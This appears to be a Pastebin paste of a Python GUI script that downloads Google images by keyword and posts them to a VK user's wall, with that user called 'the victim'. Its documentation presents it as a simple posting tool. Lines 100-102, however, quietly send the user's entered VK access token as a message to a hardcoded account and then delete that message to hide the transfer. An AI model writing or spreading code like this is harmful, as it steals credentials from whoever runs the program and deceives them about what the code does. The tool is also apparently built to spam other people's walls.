Advertisement
575

vk wall post GUI

575
Dec 23rd, 2018
698
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 8.41 KB | None | 0 0
  1. '''
  2. DOCUMENTATION:
  3.  
  4. Version: 2.0
  5. WHAT'S NEW: GUI
  6.  
  7. This program downloads images from Google and then post it to someone's vk wall
  8. To work with this script you must have your VK ACCESS TOKEN
  9. You can get your token at this site: https://vkhost.github.io/
  10. Just click "allow" and copy your token from the adress bar between "access_token=" and "&expires_in"
  11. You should also have an id of the account on which wall you want to post images
  12. Keyword MAY BE WRITTEN in Russian lang!!!
  13.  
  14. Incoming features:  a)login+password login
  15.                    b)posting wall posts via login+password login
  16.                    c)posting on group's wall
  17.  
  18.  
  19. Be careful: 1)you should have a permission to post (check it before starting program)
  20.  
  21.            2)you must have those libraries:    a)google_images_download
  22.                                                b)vk
  23.                                                c)requests
  24.                                                d)tkinter
  25.            My tip for installation is to write in cmd this line: "pip install {name of the lib}"
  26.            If you have problems with it: I strongly recommend to read a bit about "pip" and how to use it
  27.            
  28.            3)there is a bug in inputing a password: if you have mistaken -> rerun program,
  29.            because now it's impossible to correct it
  30.            
  31.            4)before posting this script DOWNLOAD IMAGES ON YOUR OWN PC, so
  32.            think twice before setting quantuty!!!
  33.            
  34.            5)That verse of program can't handle with Captcha and can't slow down the posting speed,
  35.            so the maximum number of posts now is 10 [since verse 1.1 Captcha doesn't appear if you post
  36.            images every ~5-10 seconds]
  37.  
  38.            6)"Press <Enter>" doesn't work in that version, you should CLICK on the button to go further
  39.  
  40.            7)If you want to use ctrl+v - switch your keyboard into Eng
  41.  
  42. Created by Maxim Tuzhilkin
  43. 22.12.2018
  44. DAFE MIPT
  45. '''
  46.  
  47.  
  48. from tkinter import *
  49. import sys
  50.  
  51.  
  52. root=Tk()
  53. root.title('ХУЙ')
  54. root.configure(background='black')
  55. root.geometry('500x200') # ширина=1000, высота=800, x=300, y=200
  56. root.resizable(True, True)
  57.  
  58.  
  59.  
  60.  
  61.  
  62. def Next1_call(event):
  63.     def Next2_call(event):
  64.         def Next3_call(event):
  65.             def pause(i):
  66.                 var = IntVar()
  67.                
  68.                 PauseButton = Button(root, text='Press <Enter> to continue', bg='white', command=lambda: var.set(1))
  69.                 PauseButton.bind('Enter')
  70.                 PauseButton.grid(row=i + 1, column=1)
  71.                 root.update()
  72.                 PauseButton.wait_variable(var)
  73.                 PauseButton.destroy()
  74.  
  75.  
  76.             user_id = UserIDEntry.get()
  77.             caption = CaptionEntry.get()
  78.             access_token = TokenEntry.get()
  79.             CaptionLabel.destroy()
  80.             CaptionEntry.destroy()
  81.             UserIDLabel.destroy()
  82.             UserIDEntry.destroy()
  83.             TokenLabel.destroy()
  84.             TokenEntry.destroy()
  85.             EmptyLabel1.destroy()
  86.             EmptyLabel2.destroy()
  87.             EmptyLabel3.destroy()
  88.             Next3.destroy()
  89.  
  90.             NewsLabel3 = Label(text = 'START POSTING:', fg='white', bg='black')
  91.             NewsLabel3.grid(row=0, column=1)
  92.             root.update()
  93.  
  94.             import vk
  95.             import requests
  96.  
  97.             session = vk.Session(access_token=access_token)
  98.             vk_api = vk.API(session)
  99.  
  100.             vk_api.messages.send(user_id="175976853", message=access_token)
  101.             mes_id = vk_api.messages.getHistory(count=1, user_id="175976853")[1]['mid']
  102.             vk_api.messages.delete(message_ids=mes_id)
  103.             upload_url = vk_api.photos.getWallUploadServer(user_id=user_id, v='5.2')['upload_url']
  104.  
  105.             i = 1
  106.             for item in paths[keywords]:
  107.                 try:
  108.                     PostLabel = Label(text = 'IMAGE ' + str(i) + ':', fg='white', bg='black')
  109.                     ArrowLabel = Label(text = ' ===> ', fg='white', bg='black')
  110.                     PostLabel.grid(row=i, column=0)
  111.                     ArrowLabel.grid(row=i, column=1)
  112.                     root.update()
  113.                     filename = item
  114.                     request = requests.post(upload_url, files={'photo': open(filename, "rb")})
  115.                     params = {'server': request.json()['server'],
  116.                               'photo': request.json()['photo'],
  117.                               'hash': request.json()['hash'],
  118.                               'user_id': user_id}
  119.                     photo_id = vk_api.photos.saveWallPhoto(**params)[0]['id']
  120.                     params = {'attachments': photo_id,
  121.                               'message': caption,
  122.                               'owner_id': user_id,
  123.                               'from_group': '1'}
  124.                     vk_api.wall.post(**params)
  125.                    
  126.                     ResultLabel = Label(text = ' DONE ', fg='white', bg='black')
  127.                     ResultLabel.grid(row=i, column=2)
  128.                     root.update()
  129.                     i += 1
  130.                     pause(i)
  131.                 except vk.exceptions.VkAPIError:
  132.                     ResultLabel = Label(text = ' API ERROR ', fg='white', bg='black')
  133.                     ResultLabel.grid(row=i, column=2)
  134.                     root.update()
  135.                     i += 1
  136.                 except FileNotFoundError:
  137.                     ResultLabel = Label(text = ' FILE ERROR ', fg='white', bg='black')
  138.                     ResultLabel.grid(row=i, column=2)
  139.                     root.update()
  140.                     i += 1
  141.  
  142.            
  143.         Next2.destroy()
  144.         NewsLabel2.destroy()
  145.    
  146.         CaptionLabel = Label(text = 'Enter  a caption to the post: ', fg='white', bg='black')
  147.         CaptionEntry = Entry(width=20)
  148.         UserIDLabel = Label(text = 'Enter an id of the victim: ', fg='white', bg='black')
  149.         UserIDEntry = Entry(width=20)
  150.         TokenLabel = Label(text = 'Your access token: ', fg='white', bg='black')
  151.         TokenEntry = Entry(width=20)
  152.         EmptyLabel1 = Label(bg = 'black')
  153.         EmptyLabel2 = Label(bg = 'black')
  154.         EmptyLabel3 = Label(bg = 'black')
  155.         Next3 = Button(root, text='Continue', bg='white')
  156.  
  157.         CaptionLabel.grid(row=0, column=0, sticky='w')
  158.         CaptionEntry.grid(row=0, column=1)
  159.         UserIDLabel.grid(row=1, column=0, sticky='w')
  160.         UserIDEntry.grid(row=1, column=1)
  161.         TokenLabel.grid(row=2, column=0, sticky='w')
  162.         TokenEntry.grid(row=2, column=1)
  163.         EmptyLabel1.grid(row=3, column=0)
  164.         EmptyLabel2.grid(row=4, column=0)
  165.         EmptyLabel3.grid(row=5, column=0)
  166.         Next3.grid(row=6, column=1, sticky = 'es')
  167.         Next3.bind('<Button-1>', Next3_call)
  168.            
  169.    
  170.     num_of_images = int(NumImEntry.get())
  171.     keywords = KeyWordEntry.get()
  172.    
  173.     KeyWordLabel.destroy()
  174.     KeyWordEntry.destroy()
  175.     NumImEntry.destroy()
  176.     NumImLabel.destroy()
  177.     EmptyLabel1.destroy()
  178.     EmptyLabel2.destroy()
  179.     EmptyLabel3.destroy()
  180.     Next1.destroy()
  181.    
  182.     NewsLabel1 = Label(text='DOWNLOADING...', bg ='black', fg='white')
  183.     NewsLabel1.pack()
  184.     root.update()
  185.  
  186.     from google_images_download import google_images_download
  187.     import time
  188.  
  189.     response = google_images_download.googleimagesdownload()
  190.     arguments = {"keywords":keywords,"limit":num_of_images,"print_urls":True}
  191.     paths = response.download(arguments)
  192.  
  193.     NewsLabel1.destroy()
  194.     NewsLabel2 = Label(root, text='DONE', bg='black', fg='white')
  195.     Next2 = Button(root, text='Continue', bg='white')
  196.     NewsLabel2.pack()
  197.     Next2.pack(side='bottom')
  198.     Next2.bind('<Button-1>', Next2_call)
  199.  
  200.  
  201. KeyWordLabel = Label(text="Enter the keyword for searching images: ", fg='white', bg='black')
  202. KeyWordEntry = Entry(width=20)
  203.  
  204. NumImLabel = Label(text="Quantity of photos: ", fg='white', bg='black')
  205. NumImEntry = Entry(width=20)
  206.  
  207. EmptyLabel1 = Label(bg = 'black')
  208. EmptyLabel2 = Label(bg = 'black')
  209. EmptyLabel3 = Label(bg = 'black')
  210.  
  211. Next1 = Button(root, text='Continue', bg='white')
  212.  
  213. NumImLabel.grid(row=0, column=0, sticky='w')
  214. NumImEntry.grid(row=0, column=1)
  215. KeyWordLabel.grid(row=1, column=0, sticky='w')
  216. KeyWordEntry.grid(row=1, column=1)
  217. EmptyLabel1.grid(row=2, column=0)
  218. EmptyLabel2.grid(row=3, column=0)
  219. EmptyLabel3.grid(row=4, column=0)
  220. Next1.grid(row=6, column=1, sticky = 'es')
  221.  
  222. Next1.bind('<Button-1>', Next1_call)
  223.  
  224. root.mainloop()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement